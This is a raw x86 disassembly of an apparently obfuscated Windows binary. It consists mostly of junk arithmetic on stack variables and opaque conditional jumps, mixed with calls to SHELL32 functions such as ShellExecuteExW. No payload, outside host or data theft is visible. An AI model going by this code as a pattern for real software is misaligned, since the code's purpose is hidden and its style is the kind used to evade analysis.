sar edx, cl
mov dword [0x48e1c8], edx
mov eax, dword [ebp - 0x1234]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x1238]
mov edx, dword [ebp - 0x5a0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4650]
mov ecx, dword [eax]
and ecx, dword [ebp - 0xc4]
mov edx, dword [ebp - 0x19b4]
mov dword [edx], ecx
mov eax, dword [0x48e1c8]
sub eax, dword [ebp - 0x2854]
mov ecx, dword [ebp - 0x38ac]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8d4c]
sub edx, 0xe7
mov dword [ebp - 0x8d4c], edx
mov eax, dword [ebp - 0x8880]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1a68]
mov edx, dword [ebp - 0x110c]
mov dword [edx], ecx
mov eax, dword [0x48ebd4]
mov ecx, dword [ebp - 0x95d0]
add ecx, dword [eax]
mov dword [ebp - 0x1a68], ecx
movsx edx, byte [ebp - 0x3a69]
mov eax, dword [ebp - 0x8558]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x4429], dl
mov edx, dword [ebp - 0x5cdc]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x7f38]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x5cdc]
mov word [ecx], ax
jmp 0x40793a
mov edx, dword [ebp - 0x6dfc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2e8e]
add eax, ecx
mov byte [ebp - 0x5da5], al
movsx edx, byte [ebp - 0x4429]
mov eax, dword [ebp - 0x40d0]
movsx ecx, byte [eax]
and edx, ecx
movsx eax, byte [ebp - 0x3a69]
mov ecx, dword [ebp - 0x8558]
movsx ecx, byte [ecx]
add eax, ecx
cmp edx, eax
jg 0x407d44
lea edx, [ebp - 0x4b34]
mov dword [0x48e168], edx
mov eax, dword [ebp - 0x3024]
movzx edx, word [eax]
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
sar edx, cl
movzx eax, word [ebp - 0x8220]
movzx ecx, word [section..data]
shl eax, cl
cmp edx, eax
jl 0x407d2c
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ecx]
add edx, dword [ebp - 0x5944]
mov dword [ebp - 0x8174], edx
mov eax, dword [ebp - 0x3024]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [0x48e168]
movzx eax, word [edx]
mov edx, dword [ebp - 0x206c]
movzx edx, word [edx]
add eax, edx
cmp ecx, eax
je 0x407d0f
mov eax, dword [ebp - 0x55a8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1234]
add ecx, dword [edx]
mov dword [ebp - 0x1238], ecx
mov al, byte [ebp - 0x43c5]
mov byte [ebp - 0xa280], al
cmp byte [ebp - 0xa280], 0x1b
je 0x407cec
cmp byte [ebp - 0xa280], 0x35
je 0x407cd0
jmp 0x407d0f
mov ecx, dword [ebp - 0x6224]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2e8e]
sub edx, eax
mov ecx, dword [ebp - 0x6dfc]
mov byte [ecx], dl
jmp 0x407d0f
lea edx, [ebp - 0x4a5c]
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [ebp - 0x9ec], eax
movzx eax, byte [ebp - 0x43c5]
push eax
call fcn.00484b30
add esp, 4
movzx ecx, word [ebp - 0x8220]
mov edx, dword [ebp - 0x5578]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x6ad4]
mov word [edx], cx
jmp 0x407d42
mov eax, dword [ebp - 0x4650]
mov ecx, dword [ebp - 0x95d0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4f00]
mov dword [edx], ecx
jmp 0x407daf
mov eax, dword [ebp - 0x5578]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3024]
movzx eax, word [edx]
or ecx, eax
movzx edx, word [ebp - 0x3ea8]
mov eax, dword [ebp - 0x206c]
movzx eax, word [eax]
xor edx, eax
cmp ecx, edx
je 0x407daf
lea ecx, [ebp - 0xf38]
push ecx
push 0x10
push 0x79
push 0x93
push 0xde
mov edx, dword [ebp - 0x1b50]
push edx
call dword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [ebp - 0x1c44], eax
mov eax, dword [ebp - 0x1234]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1238]
mov dword [ebp - 0x4c04], ecx
call fcn.004846f0
cmp dword [ebp - 0x7378], 0xf891
jbe 0x40822e
mov edx, dword [ebp - 0x8880]
mov eax, dword [ebp - 0x1a68]
xor eax, dword [edx]
mov dword [ebp - 0x95d0], eax
mov edx, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x659c]
sar edx, cl
mov eax, dword [ebp - 0x693c]
mov dword [eax], edx
movzx ecx, word [ebp - 0x3ea8]
movzx edx, word [ebp - 0x39b0]
or ecx, edx
mov eax, dword [0x48e168]
mov word [eax], cx
mov ecx, dword [ebp - 0x6224]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x6dfc]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x61e8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x1234]
mov eax, dword [ebp - 0x5a0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x55a8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x88e0]
add eax, dword [ebp - 0x6e40]
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6bb4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x4429]
and eax, ecx
mov edx, dword [ebp - 0x8558]
mov byte [edx], al
mov eax, dword [ebp - 0x27f4]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x7074]
add ecx, edx
mov word [ebp - 0x86bc], cx
movzx eax, byte [ebp - 0x5d05]
mov ecx, dword [ebp - 0x5ee0]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x2e8e], al
movzx eax, word [ebp - 0x5728]
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x206c]
mov word [ecx], ax
mov edx, dword [ebp - 0x8174]
sub edx, dword [ebp - 0x86c0]
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
mov ecx, dword [ebp - 0x95d0]
sub ecx, dword [ebp - 0xc4]
mov dword [0x48e1c8], ecx
mov edx, dword [ebp - 0x693c]
mov eax, dword [edx]
mov ecx, dword [0x48e984]
add eax, dword [ecx]
mov edx, dword [ebp - 0x110c]
mov dword [edx], eax
mov eax, dword [ebp - 0x55a8]
mov ecx, dword [ebp - 0x5a0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x79dc]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc4]
add ecx, dword [0x48e8c4]
mov dword [ebp - 0x2854], ecx
movzx edx, byte [ebp - 0x5d05]
movzx ecx, byte [ebp - 0x51c1]
sar edx, cl
mov eax, dword [ebp - 0x6224]
mov byte [eax], dl
movzx edx, word [ebp - 0x3ea8]
movzx ecx, word [ebp - 0x5728]
shl edx, cl
mov word [ebp - 0x39b0], dx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [ebp - 0x659c]
xor ecx, dword [eax]
mov dword [ebp - 0x2854], ecx
mov edx, dword [ebp - 0x8174]
or edx, dword [ebp - 0x86c0]
mov dword [ebp - 0x1238], edx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [eax]
and ecx, dword [0x48e8c4]
mov dword [ebp - 0x1a68], ecx
mov edx, dword [ebp - 0x38ac]
mov eax, dword [ebp - 0xc4]
sub eax, dword [edx]
mov dword [0x48e8c4], eax
movzx ecx, byte [ebp - 0x51c1]
movzx edx, byte [ebp - 0x30a5]
add ecx, edx
mov byte [ebp - 0x5d05], cl
movzx eax, word [ebp - 0x5728]
mov ecx, dword [ebp - 0x5578]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x8220], ax
movsx eax, byte [ebp - 0x4429]
movsx ecx, byte [ebp - 0x43c5]
add eax, ecx
mov edx, dword [ebp - 0x8558]
mov byte [edx], al
movsx eax, word [ebp - 0x7074]
mov ecx, dword [ebp - 0x27f4]
movsx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x86bc], ax
mov eax, dword [ebp - 0x5a0]
mov ecx, dword [ebp - 0x1234]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ebp - 0x6e40]
add edx, dword [ecx]
mov eax, dword [ebp - 0x110c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x61e8]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x51c1]
sub edx, eax
mov byte [ebp - 0x5d05], dl
mov ecx, dword [ebp - 0x7378]
sub ecx, 0x4d
mov dword [ebp - 0x7378], ecx
movzx edx, word [ebp - 0x5f10]
mov eax, dword [ebp - 0x5578]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x206c]
mov word [eax], dx
mov ecx, dword [0x48e984]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x88e0]
sar edx, cl
mov eax, dword [0x48ebd4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x2854]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x110c]
mov dword [eax], edx
mov edx, dword [ebp - 0x6e40]
mov ecx, dword [ebp - 0x88e0]
shl edx, cl
mov eax, dword [ebp - 0x110c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x55a8]
mov edx, dword [ebp - 0x5944]
and edx, dword [ecx]
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x5da5]
movzx edx, byte [ebp - 0x51c1]
sub ecx, edx
mov eax, dword [ebp - 0x61e8]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3120]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3024]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x5f10], dx
mov edx, dword [ebp - 0x19b4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x110c]
add eax, dword [ecx]
mov edx, dword [ebp - 0x38ac]
mov dword [edx], eax
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1a68]
mov edx, dword [ebp - 0x8880]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1234]
mov ecx, dword [ebp - 0x55a8]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x590], edx
mov eax, dword [0x48e984]
mov ecx, dword [ebp - 0x6e40]
add ecx, dword [eax]
mov edx, dword [0x48ebd4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1a68]
add eax, dword [ebp - 0x2854]
mov ecx, dword [ebp - 0x4f00]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6bb4]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x40d0]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x8558]
mov byte [ecx], al
mov edx, dword [ebp - 0x5cdc]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x7f38]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x27f4]
mov word [ecx], ax
mov edx, dword [ebp - 0x5ee0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x6224]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x51c1], al
mov eax, dword [ebp - 0x6ad4]
movzx edx, word [eax]
mov eax, dword [ebp - 0x3120]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x6ad4]
mov word [ecx], dx
mov edx, dword [ebp - 0x79dc]
mov eax, dword [ebp - 0x1234]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x5a0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38ac]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x88e0]
sar edx, cl
mov dword [ebp - 0x2854], edx
movzx eax, word [ebp - 0x5f10]
movzx ecx, word [ebp - 0x39b0]
and eax, ecx
mov word [ebp - 0x4b34], ax
mov edx, dword [ebp - 0x693c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x110c]
add eax, dword [ecx]
mov edx, dword [0x48e984]
mov dword [edx], eax
jmp 0x407daf
cmp dword [ebp - 0x759c], 0x116f8
ja 0x40844e
mov eax, dword [ebp - 0x5a0]
mov ecx, dword [0x48d004]
sub ecx, dword [eax]
mov dword [ebp - 0x8ef0], ecx
mov edx, dword [ebp - 0x2854]
add edx, dword [ebp - 0x1a68]
mov eax, dword [ebp - 0x693c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ecx]
mov eax, dword [0x48ebd4]
add edx, dword [eax]
mov dword [ebp - 0xc4], edx
mov ecx, dword [ebp - 0x55a8]
mov edx, dword [ebp - 0x5a0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x8174], eax
movzx ecx, word [ebp - 0x39b0]
movzx edx, word [ebp - 0x5f10]
and ecx, edx
mov eax, dword [ebp - 0x206c]
mov word [eax], cx
mov ecx, dword [ebp - 0x6dfc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x6224]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x5ee0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x659c]
add ecx, dword [ebp - 0x1a68]
mov edx, dword [ebp - 0x4650]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [0x48e1c8]
sub ecx, dword [eax]
mov dword [ebp - 0x88e0], ecx
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x4b34]
shl eax, cl
mov word [section..data], ax
mov ecx, dword [ebp - 0x759c]
add ecx, 0xbd
mov dword [ebp - 0x759c], ecx
mov edx, dword [ebp - 0x5cdc]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x7074]
xor eax, ecx
mov word [ebp - 0x86bc], ax
mov edx, dword [ebp - 0x5578]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x39b0]
sar eax, cl
mov ecx, dword [ebp - 0x3024]
mov word [ecx], ax
movzx edx, byte [ebp - 0x30a5]
mov eax, dword [ebp - 0x5ee0]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x6224]
mov byte [eax], dl
mov ecx, dword [ebp - 0x5a0]
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x55a8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x79dc]
mov eax, dword [ebp - 0x1238]
sub eax, dword [edx]
mov dword [ebp - 0x5944], eax
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x693c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x19b4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4650]
add eax, dword [ecx]
mov edx, dword [ebp - 0x693c]
mov dword [edx], eax
mov eax, dword [ebp - 0x110c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x8880]
add ecx, dword [edx]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], ecx
movzx ecx, word [ebp - 0x5f10]
mov edx, dword [ebp - 0x5578]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x3120]
mov word [edx], cx
mov eax, dword [ebp - 0x4650]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x6e40]
mov dword [0x48e1c8], ecx
mov edx, dword [ebp - 0x55a8]
mov eax, dword [ebp - 0x5a0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x79dc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2854]
mov dword [ebp - 0x659c], ecx
mov edx, dword [ebp - 0x693c]
mov eax, dword [edx]
or eax, dword [ebp - 0x95d0]
mov dword [ebp - 0x1a68], eax
jmp 0x40822e
lea ecx, [ebp - 0x5944]
mov dword [ebp - 0xa14], ecx
movzx edx, byte [ebp - 0x5d05]
movzx ecx, byte [ebp - 0x2e8e]
sar edx, cl
mov eax, dword [ebp - 0x6dfc]
mov byte [eax], dl
movzx ecx, word [ebp - 0x4b34]
movzx edx, word [section..data]
xor ecx, edx
mov word [ebp - 0x8220], cx
movsx eax, byte [ebp - 0x43c5]
movsx ecx, byte [ebp - 0x4429]
shl eax, cl
mov ecx, dword [ebp - 0x97b0]
mov byte [ecx], al
mov edx, dword [ebp - 0x1b5c]
sub edx, 0xb6
mov dword [ebp - 0x1b5c], edx
movsx eax, word [ebp - 0x7074]
mov ecx, dword [ebp - 0x27f4]
movsx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x7f38]
mov word [ecx], ax
mov edx, dword [ebp - 0x2854]
and edx, dword [ebp - 0x659c]
mov eax, dword [0x48ebd4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ecx]
add edx, dword [ebp - 0x88e0]
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
movzx ecx, word [section..data]
mov edx, dword [ebp - 0x206c]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x6ad4]
mov word [edx], cx
mov eax, dword [ebp - 0x6dfc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x5d05]
sub ecx, edx
mov byte [ebp - 0x2e8e], cl
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [eax]
add ecx, dword [0x48e1c8]
mov edx, dword [ebp - 0x4650]
mov dword [edx], ecx
mov eax, dword [ebp - 0x55a8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x79dc]
add ecx, dword [edx]
mov dword [ebp - 0x86c0], ecx
mov eax, dword [ebp - 0x2854]
sub eax, dword [ebp - 0x88e0]
mov ecx, dword [ebp - 0x693c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x659c]
sub edx, dword [ebp - 0x1a68]
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x2e8e]
mov edx, dword [ebp - 0x6dfc]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x5ee0]
mov byte [edx], cl
movzx eax, word [ebp - 0x4b34]
mov ecx, dword [ebp - 0x206c]
movzx edx, word [ecx]
xor eax, edx
mov word [section..data], ax
mov eax, dword [ebp - 0x4c04]
or eax, dword [ebp - 0x86c0]
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
mov edx, dword [ebp - 0x110c]
mov eax, dword [edx]
mov ecx, dword [0x48e1c8]
sar eax, cl
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ebp - 0x19b4]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x95d0], edx
mov eax, dword [ebp - 0x4650]
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4650]
mov dword [eax], edx
mov ecx, dword [ebp - 0x659c]
add ecx, dword [ebp - 0x2854]
mov edx, dword [ebp - 0x8880]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5cdc]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x27f4]
movsx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x7f38]
mov word [edx], cx
movsx eax, byte [ebp - 0x4429]
movsx ecx, byte [ebp - 0x3a69]
add eax, ecx
mov byte [ebp - 0x43c5], al
movzx edx, byte [ebp - 0x30a5]
mov eax, dword [ebp - 0x6dfc]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x5ee0]
mov byte [eax], dl
movzx ecx, word [ebp - 0x3ea8]
mov edx, dword [ebp - 0x5578]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [0x48e168]
mov word [edx], cx
mov eax, dword [ebp - 0x4c04]
add eax, dword [ebp - 0x8174]
mov ecx, dword [ebp - 0xa14]
mov dword [ecx], eax
mov edx, dword [ebp - 0x86c0]
sub edx, dword [ebp - 0x5944]
mov eax, dword [ebp - 0x55a8]
mov dword [eax], edx
movzx ecx, word [ebp - 0x4b34]
movzx edx, word [ebp - 0x3ea8]
sub ecx, edx
mov eax, dword [ebp - 0x6ad4]
mov word [eax], cx
mov ecx, dword [ebp - 0x6224]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x6dfc]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x61e8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2854]
sub ecx, dword [ebp - 0x659c]
mov dword [ebp - 0x88e0], ecx
mov edx, dword [ebp - 0x5a0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x590]
shl eax, cl
mov dword [ebp - 0x1238], eax
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x659c]
sar edx, cl
mov dword [ebp - 0x88e0], edx
mov eax, dword [ebp - 0x8880]
mov ecx, dword [0x48e8c4]
or ecx, dword [eax]
mov edx, dword [ebp - 0x693c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x66b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x5728]
xor ecx, edx
mov word [section..data], cx
movzx eax, byte [ebp - 0x30a5]
mov ecx, dword [ebp - 0x5ee0]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x5d05], al
mov eax, dword [ebp - 0x1f88]
add eax, dword [ebp - 0x5944]
mov dword [ebp - 0x1238], eax
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ecx]
add edx, dword [ebp - 0x88e0]
mov dword [ebp - 0xc4], edx
movsx eax, byte [ebp - 0x3a69]
mov ecx, dword [ebp - 0x97b0]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x4429], al
mov eax, dword [ebp - 0x7f38]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x27f4]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x5cdc]
mov word [edx], cx
mov eax, dword [ebp - 0x61e8]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x30a5]
add ecx, edx
mov byte [ebp - 0x5d05], cl
mov eax, dword [ebp - 0x3024]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x6ad4]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x66b8]
mov word [edx], cx
mov eax, dword [ebp - 0x1f88]
sub eax, dword [ebp - 0x5944]
mov dword [ebp - 0x8ef0], eax
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ebp - 0x693c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [0x48e1c8], eax
mov ecx, dword [ebp - 0x693c]
mov edx, dword [ebp - 0x1a68]
xor edx, dword [ecx]
mov dword [ebp - 0x88e0], edx
cmp dword [ebp - 0x1b5c], 0xfc5f
ja 0x40845a
mov eax, dword [ebp - 0x5a0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x590]
shl edx, cl
mov eax, dword [ebp - 0xa14]
mov dword [eax], edx
movzx edx, word [ebp - 0x3ea8]
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
or edx, ecx
movzx eax, word [ebp - 0x39b0]
movzx ecx, word [ebp - 0x4b34]
sar eax, cl
cmp edx, eax
jl 0x4838b6
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x659c]
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [eax]
add ecx, dword [0x48e8c4]
cmp edx, ecx
jl 0x408946
mov edx, dword [ebp - 0xc4]
mov dword [ebp - 0xa284], edx
cmp dword [ebp - 0xa284], 0
je 0x4088c2
jmp 0x408930
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [ebp - 0x8880]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0xc4], edx
mov dword [ebp - 0x7ad0], 0x48d008
mov eax, dword [ebp - 0x2854]
sub eax, dword [ebp - 0x1a68]
mov dword [ebp - 0x6e40], eax
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ebp - 0x693c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [0x48d00c], eax
lea ecx, [ebp - 0x30a5]
mov dword [ebp - 0x4424], ecx
movzx edx, word [ebp - 0x8220]
movzx ecx, word [ebp - 0x4b34]
shl edx, cl
mov eax, dword [ebp - 0x5578]
mov word [eax], dx
jmp 0x408946
movsx ecx, byte [ebp - 0x3a69]
movsx edx, byte [ebp - 0x43c5]
xor ecx, edx
mov byte [ebp - 0x4429], cl
mov eax, dword [ebp - 0x693c]
mov edx, dword [0x48e8c4]
or edx, dword [eax]
mov eax, dword [ebp - 0x19b4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2854]
sar eax, cl
cmp edx, eax
jg 0x408aea
mov ecx, dword [ebp - 0x7f38]
mov dx, word [ecx]
mov word [ebp - 0x5f08], dx
mov eax, dword [ebp - 0x7ad0]
mov ecx, dword [ebp - 0x55a8]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x86c0], edx
mov eax, dword [ebp - 0x55a8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1234]
add ecx, dword [edx]
mov eax, dword [ebp - 0x5a0]
mov edx, dword [0x48d008]
add edx, dword [eax]
cmp ecx, edx
jb 0x408ad6
mov eax, dword [ebp - 0x5cdc]
movsx ecx, word [eax]
mov dword [ebp - 0xa288], ecx
cmp dword [ebp - 0xa288], 0xa24
je 0x4089d5
jmp 0x4089ee
mov edx, dword [ebp - 0x6e40]
sub edx, dword [ebp - 0x88e0]
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
jmp 0x408ad4
lea ecx, [ebp - 0x30a5]
mov dword [ebp - 0x21fc], ecx
mov edx, dword [ebp - 0x1f88]
mov dword [ebp - 0xa28c], edx
cmp dword [ebp - 0xa28c], 0xafd4965
je 0x408a27
cmp dword [ebp - 0xa28c], 0x86c1c206
je 0x408ac0
jmp 0x408ad4
mov eax, dword [ebp - 0x7f38]
movsx ecx, word [eax]
mov dword [ebp - 0xa290], ecx
cmp dword [ebp - 0xa290], 0x2d92
je 0x408a50
cmp dword [ebp - 0xa290], 0x7507
je 0x408aab
jmp 0x408abe
push 0x5d
lea edx, [ebp - 0x5ee0]
push edx
lea eax, [ebp - 0x8220]
push eax
push 0x52
push 0xc8
mov ecx, dword [ebp - 0x4294]
push ecx
call dword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [ebp - 0x8d80], eax
mov edx, dword [ebp - 0x206c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3120]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x8220], ax
mov eax, dword [ebp - 0x95d0]
sub eax, dword [0x48e8c4]
mov ecx, dword [0x48e984]
mov dword [ecx], eax
jmp 0x408abe
lea edx, [ebp - 0xcac]
push edx
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov dword [ebp - 0x20f0], eax
jmp 0x408ad4
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x659c]
mov dword [ebp - 0x6e40], ecx
jmp 0x408aea
mov edx, dword [ebp - 0x88e0]
add edx, dword [ebp - 0x659c]
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3ea8]
xor edx, eax
mov ecx, dword [ebp - 0x5578]
movzx eax, word [ecx]
mov ecx, dword [ebp - 0x3024]
movzx ecx, word [ecx]
shl eax, cl
cmp edx, eax
jle 0x408bf9
lea edx, [ebp - 0x86e8]
push edx
mov eax, dword [ebp - 0x64dc]
push eax
mov ecx, dword [ebp - 0x1ecc]
push ecx
call dword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov dword [ebp - 0xa05c], eax
mov edx, dword [ebp - 0xa038]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x6bb4]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x8558]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x43c5]
sub edx, ecx
cmp eax, edx
je 0x408bb0
mov edx, dword [ebp - 0xa14]
mov eax, dword [edx]
add eax, dword [ebp - 0x1c44]
mov ecx, dword [ebp - 0x5a0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x206c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x8220], ax
movzx eax, byte [ebp - 0x5da5]
mov ecx, dword [ebp - 0x6224]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x5ee0]
mov byte [ecx], al
jmp 0x408bf4
mov edx, dword [ebp - 0x206c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x5578]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x3120]
movzx edx, word [ecx]
movzx ecx, word [section..data]
sub edx, ecx
cmp eax, edx
jl 0x408bf4
mov edx, dword [ebp - 0x86e4]
push edx
mov eax, dword [ebp - 0x60d0]
push eax
call dword [sym.imp.SHELL32.dll_DuplicateIcon]
mov dword [ebp - 0x86e4], eax
jmp 0x483893
mov ecx, dword [ebp - 0x8558]
mov dl, byte [ecx]
mov byte [ebp - 0xa294], dl
cmp byte [ebp - 0xa294], 0
je 0x408cc8
cmp byte [ebp - 0xa294], 0x35
je 0x408c22
